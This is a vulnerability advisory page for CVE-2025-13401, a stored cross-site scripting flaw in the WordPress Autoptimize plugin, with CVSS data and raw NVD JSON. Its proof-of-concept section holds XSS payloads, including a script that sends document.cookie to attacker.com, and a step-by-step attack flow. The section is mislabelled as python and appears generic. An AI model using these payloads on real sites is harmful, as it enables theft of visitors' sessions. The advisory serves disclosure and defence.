Security Vulnerability Report
中文
CVE-2025-13401 CVSS 6.4 MEDIUM

CVE-2025-13401

Published: 2025-12-03 14:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Autoptimize plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the LCP Image to preload metabox in all versions up to, and including, 3.1.13 due to insufficient input sanitization and output escaping on user-supplied image attributes in the "create_img_preload_tag" function. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Autoptimize插件 <= 3.1.13 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Autoptimize Plugin XSS PoC - CVE-2025-13401 --> <!-- Requires Contributor+ level access --> <!-- LCP Image Preload XSS Payload Examples --> <!-- Example 1: Image src attribute injection --> <img src="x" onerror="alert(document.cookie)" /> <!-- Example 2: Alt attribute injection with event handler --> <img src="valid-image.jpg" alt="<img src=x onerror=alert('XSS')>" /> <!-- Example 3: Full script injection --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- Attack Flow: --> <!-- 1. Authenticate as Contributor or higher --> <!-- 2. Navigate to Post/Page Editor --> <!-- 3. Find Autoptimize LCP Image to preload metabox --> <!-- 4. Insert XSS payload in image attributes --> <!-- 5. Save/Publish the post --> <!-- 6. Any user visiting the page triggers the XSS -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13401", "sourceIdentifier": "[email protected]", "published": "2025-12-03T14:15:48.477", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Autoptimize plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the LCP Image to preload metabox in all versions up to, and including, 3.1.13 due to insufficient input sanitization and output escaping on user-supplied image attributes in the \"create_img_preload_tag\" function. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3401333/autoptimize", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6ed5bdb3-c4cd-4982-bc47-feeff527e284?source=cve", "source": "[email protected]"}]}}